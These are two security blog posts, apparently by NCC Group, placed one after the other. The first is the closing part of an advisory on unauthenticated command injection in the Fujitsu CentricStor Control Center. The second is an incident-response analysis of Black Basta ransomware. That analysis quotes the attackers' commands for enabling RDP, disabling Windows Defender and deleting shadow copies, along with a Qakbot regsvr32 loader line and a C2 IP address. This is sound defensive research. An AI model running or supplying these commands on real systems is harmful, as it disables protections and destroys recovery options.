Due to the sensitive nature of the system, any attacker with full control over the system is potentially able to read, modify and potentially destroy the entire virtual backup tapes, which could be used as an initial stage of a ransomware attack to ensure the victim is not able to recover and is forced to pay the ransom.

The following screenshot shows how NCC Group’s Fox-IT was able to gain remote code execution on the appliance using a custom-built Metasploit[1] module:

Figure 1 – Obtaining a Meterpreter[2] shell using a custom-built Metasploit module


During a recent penetration test at one of NCC Group’s Fox-IT’s clients, a full review was performed of the backup process, as well as any appliances used, as to ensure the company has full system backups in the event of a ransomware breakout. One of the appliances in question was the FUJITSU CentricStor Control Center. Fox-IT requested read-only access to the appliance in order to assess the security of the product.

The web-application used to manage the backups was inspected, which lead NCC Group’s Fox-IT to discover the existence of two scripts, which are accessible by any user on the network and which pass user input directly to the “shell_exec” and “system” functions.

The two files in questions are as follows:

  • /srv/www/htdocs/custom/library/system/grel.php
  • /srv/www/htdocs/custom/library/system/hw_view.php

Command injection in grel.php (grelFileInfo)

The first vulnerability resides in the “grel_finfo” function in grel.php. An attacker is able to influence the username (“user”), password (“pw”), and file-name (“file”) parameters and inject special characters such as semicolons, backticks, or command-substitution sequences in order to force the application to execute arbitrary commands. The following screenshots show this in more detail:

Figure 2 – The grel_finfo function is defined and passes the $pw and $user variables directly to the system function call
Figure 3 – The grel_finfo function is called without any prior authentication

Command injection in hw_view.php

The second vulnerability resides in the "requestTempFile" function in hw_view.php. An attacker is able to influence the “unitName” POST parameter and inject special characters such as semicolons, backticks, or command-substitution sequences in order to force the application to execute arbitrary commands. The following screenshot shows this in more detail:

Figure 4 – The $unitName POST variable is passed directly to the shell_exec function without prior authentication


Upgrade the product to versions v8.1A SP02 P04 or v8.0A SP01. Unfortunately, a dedicated Fujitsu customer request is required to do this due the software distribution model. For more information please contact Fujitsu through their ServiceNow Portal or Support Assistant.

Lastly, block any inbound traffic to port 80 and 443 through the use of a network firewall. Traffic should be selectively allowed only to other instances of the appliance, and only made directly accessible through a management LAN. This ensures attackers are not able to reach the machine without gaining access to this network segment first.

Another temporary measure to secure the application for the time being could be to force the web-interface to bind to the local loopback interface ( and using a reverse SSH forward to access the service that way. This ensures no attackers are able to reach the web-interface before authenticating over SSH first. Please note that this might void your warranty, as such it is not recommended.

Vendor Notice


1. https://en.wikipedia.org/wiki/Metasploit_Project

2. https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/

3. https://www.php.net/manual/en/function.escapeshellarg.php

Shining the Light on Black Basta

Authored by: Ross Inman (@rdi_x64) and Peter Gurney



This blog post documents some of the TTPs employed by a threat actor group who were observed deploying Black Basta ransomware during a recent incident response engagement, as well as a breakdown of the executable file which performs the encryption.

A summary of the findings can be found below:

  • Lateral movement through use of Qakbot.
  • Gathering internal IP addresses of all hosts on the network.
  • Disabling Windows Defender.
  • Deleting Veeam backups from Hyper-V servers.
  • Use of WMI to push out the ransomware.
  • Technical analysis of the ransomware executable.

Black Basta

Black Basta are a ransomware group who have recently emerged, with the first public reports of attacks occurring in April this year. As is popular with other ransomware groups, Black Basta uses double-extortion attacks where data is first exfiltrated from the network before the ransomware is deployed. The threat actor then threatens to leak the data on the “Black Basta Blog” or “Basta News” Tor site. There are two Tor sites used by Black Basta, one which leaks stolen data and one which the victims can use to contact the ransomware operators. The latter site is provided in the ransom note which is dropped by the ransomware executable.

Black Basta TTPs

Lateral Movement

Black Basta was observed using the following methods to laterally move throughout the network after their initial access had been gained:

  • PsExec.exe which was created in the C:\Windows\ folder.
  • Qakbot was leveraged to remotely create a temporary service on a target host which was configured to execute a Qakbot DLL using regsvr32.exe:
    • regsvr32.exe -s \\<IP address of compromised Domain Controller>\SYSVOL\<random string>.dll
  • RDP along with the deployment of a batch file called rdp.bat which contained command lines to enable RDP logons. This was used to allow the threat actor to establish remote desktop sessions on compromised hosts, even if RDP was disabled originally:
    • reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f
    • net start MpsSvc
    • netsh advfirewall firewall set rule group="Remote Desktop" new enable=yes
    • reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "UserAuthentication" /t REG_DWORD /d 0 /f

Defense Evasion

During the intrusion, steps were taken by the threat actor in order to prevent interference from anti-virus. The threat actor was observed using two main techniques to disable Windows Defender.

The first used the batch script d.bat which was deployed locally on compromised hosts and executed the following PowerShell commands:

  • powershell -ExecutionPolicy Bypass -command "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force"
  • powershell -ExecutionPolicy Bypass -command "Set-MpPreference -DisableRealtimeMonitoring 1"
  • powershell -ExecutionPolicy Bypass Uninstall-WindowsFeature -Name Windows-Defender

The second technique involved creating a GPO (Group Policy Object) on a compromised Domain Controller which would push out the below changes to the Windows Registry of domain-joined hosts:

Figure 1 Parsed Registry.pol of the created GPO


A text file in the C:\Windows\ folder named pc_list.txt was present on two compromised Domain Controllers, both contained a list of internal IP addresses of all the systems on the network. This was to supply the threat actor with a list of IP addresses to target when deploying the ransomware. 

Command and Control

Qakbot was the primary method utilised by the threat actor to maintain their presence on the network. The threat actor was also observed using Cobalt Strike beacons during the compromise.


Prior to the deployment of the ransomware, the threat actor established RDP sessions to Hyper-V servers and from there modified configurations for the Veeam backup jobs and deleted the backups of the hosted virtual machines.

An encoded PowerShell command was observed on one of the compromised Domain Controllers which, when decoded, yielded a script labelled as Invoke-TotalExec that provided the ability to spread and execute files over the network using WMI (Windows Management Instrumentation). The script appears to have been run to push out the ransomware binary to the IP addresses contained within the file C:\Windows\pc_list.txt. Analysis of the script indicates that two log files are created:

  • C:\Windows\Temp\log.info – Contains log entries for successful attempts.
  • C:\Windows\Temp\log.dat – Contains log entries for unsuccessful attempts.

For the incident investigated by NCC Group CIRT, only the latter log file had data. The log file contained entries relating to failed uploads for all the IP addresses from pc_list.txt, indicating that the threat actor attempted to deploy the ransomware executable across all hosts on the network, however this had failed.  Despite this, the ransomware was still deployed to Hyper-V servers and the Domain Controllers.


  1. Hypervisors should be isolated by placing them in a separate domain or by adding them to a workgroup to ensure that any compromise in the domain in which the hosted virtual machines reside does not pose any risk to the Hypervisors.
  2. Ensure that both online and offline backups are taken and test the backup strategy regularly to identify any weak points that could be exploited by an adversary.
  3. Restrict internal RDP and SMB traffic ensuring only hosts that are required to communicate via these protocols are allowed to.

Indicators of Compromise

IOC Value Indicator Type Description
23.106.160[.]188 IP Address Cobalt Strike Command-and-Controller server
eb43350337138f2a77593c79cee1439217d02957 SHA1 Batch script which enabled RDP on the host (rdp.bat)  
920fe42b1bd69804080f904f0426ed784a8ebbc2 SHA1 Batch script to disable Windows Defender (d.bat)
C:\Windows\PsExec.exe Filename PsExec
C:\Windows\SYSVOL\sysvol\<random string>.dll Filename Qakbot payload
C:\Windows\Temp\log.info C:\Windows\Temp\log.dat Filename Invoke-TotalExec output log files

Ransomware Technical Analysis 

Shadow Copy Deletion 

Upon execution, Black Basta performs several operations before launching its encryption activities. 

The Mutex ‘dsajdhas.0’ is checked before issuing the two vssadmin.exe commands listed below. Although the Mutex is static in this sample it is expected to change across future samples. 

C:\\Windows\\SysNative\\vssadmin.exe delete shadows /all /quiet 
C:\\Windows\\System32\\vssadmin.exe delete shadows /all /quiet 

These result in the deletion of shadow copies ensuring they cannot be used for recovery purposes. 

Wallpaper icon modification 

Following deletion of the shadow copies, two files are obtained from the binary. Firstly, a JPG file in the currently analysed sample is saved as ‘dlaksjdoiwq.jpg’, used as a wallpaper on targeted devices. The image used can be seen below in Figure 2. 

Figure 2 Desktop wallpaper image 

The second dropped file is an icon file obtained from within the binary and used as a default icon for all files with extension. basta. The file is saved in the currently analysed sample with the name fkdjsadasd.ico within the %Temp% directory, for example:


The icon used can be seen below in Figure 3. 

Figure 3 Basta icon 

The wallpaper is modified to display the dropped JPG through the registry located at HKCU\Control Panel\Desktop\Wallpaper, setting the path to the JPG as seen below in Figure 4.  

Figure 4 String de-obfuscation example 

The next operation creates a new registry key with the name .basta under HKEY_CLASSES_ROOT and sets the DefaultIcon subkey to display the dropped .ico file. This results in files given a .basta file extension inheriting the Black Basta logo. The registry key can be seen below in Figure 5. 

Figure 5 Desktop wallpaper image 

Ransom Note 

The ransomware note is stored within the binary and written to a text file named readme.txt, as shown in Figure 6. This file is written to folders throughout the system. The content comprises a standard Black Basta template with a URL to a Tor site where victims can negotiate with operators. 

A company ID is also present, which varies between compromises. 

Figure 6 Ransom Note 


In an attempt to avoid encrypting files or folders that are likely essential to the operation of the target machine or Black Basta itself, several exclusions are in place that will prevent encrypting specific files. This includes several extensions, folders and files listed below. 

Extension exclusions: 

  • exe 
  • cmd 
  • bat 
  • com 
  • bat 
  • basta 

File Folder exclusions: 

  • $Recycle.Bin 
  • Windows 
  • Documents and Settings 
  • Local Settings 
  • Application Data
  • OUT.txt
  • Boot
  • Readme.txt
  • Dlaksjdoiwq.jpg
  • fkdjsadasd.iso

A copy of the ransom note is placed where an eligible folder is found, and suitable files discovered within the folder are passed for encryption. 


Several threads are created that are responsible for performing the encryption activity. Each file that is not skipped by the previously mentioned exclusions is encrypted using the ChaCha20 cypher. 

The encryption key is generated using the C++ rand_s function resulting in a random 40-byte hexadecimal output.  

Figure 7 Random generation output 

The first 32 bytes are used as the ChaCha20 encryption key. 

Figure 8 Encryption key 

The last 8 bytes are used as the ChaCha20 nonce. 

Figure 9 Nonce 

The encryption key is encrypted using an implementation of RSA provided through the Mini GMP library. A public key is obtained from the binary that results in an output similar to the below output in Figure 10. 

Figure 10 Encrypted encryption key 

Black Basta, as with many ransomware variants, doesn’t encrypt the entire file, instead only partially encrypts the file to increase the speed and efficiency of encryption. Black Basta achieves this by only encrypting 64-byte blocks of a file interspaced by 128-bytes. This can be seen in Figure 11 below, where the first two encrypted data blocks are shown.  

Figure 11 Example encrypted file 

To further demonstrate this, an unencrypted version of the file can be seen below in Figure 12. 

Figure 12 Example of the unencrypted file 

Finally, the earlier generated RSA encrypted key and 0x00020000 are appended to the end of the file, which would be used for decryption purposes. 

Figure 13 appended encrypted key and hex 

Following successful encryption of a file, its extension is changed to .basta which automatically adjusts its icon to the earlier drop icon file. An example of what a victim would be presented with can be seen below in Figure 14. 

Figure 14 example post encrypted desktop 

While the ransom note threatens victims with the publication of data if the ransom is not met, initial analysis has not uncovered a mechanism for exfiltration. With access to the private key counterpart of the public key used earlier, recovery of the ChaCha20 encryption key by operators should be possible allowing for file decryption. No weakness in the encryption was discovered during analysis that would provide an opportunity for decryption without the private RSA key.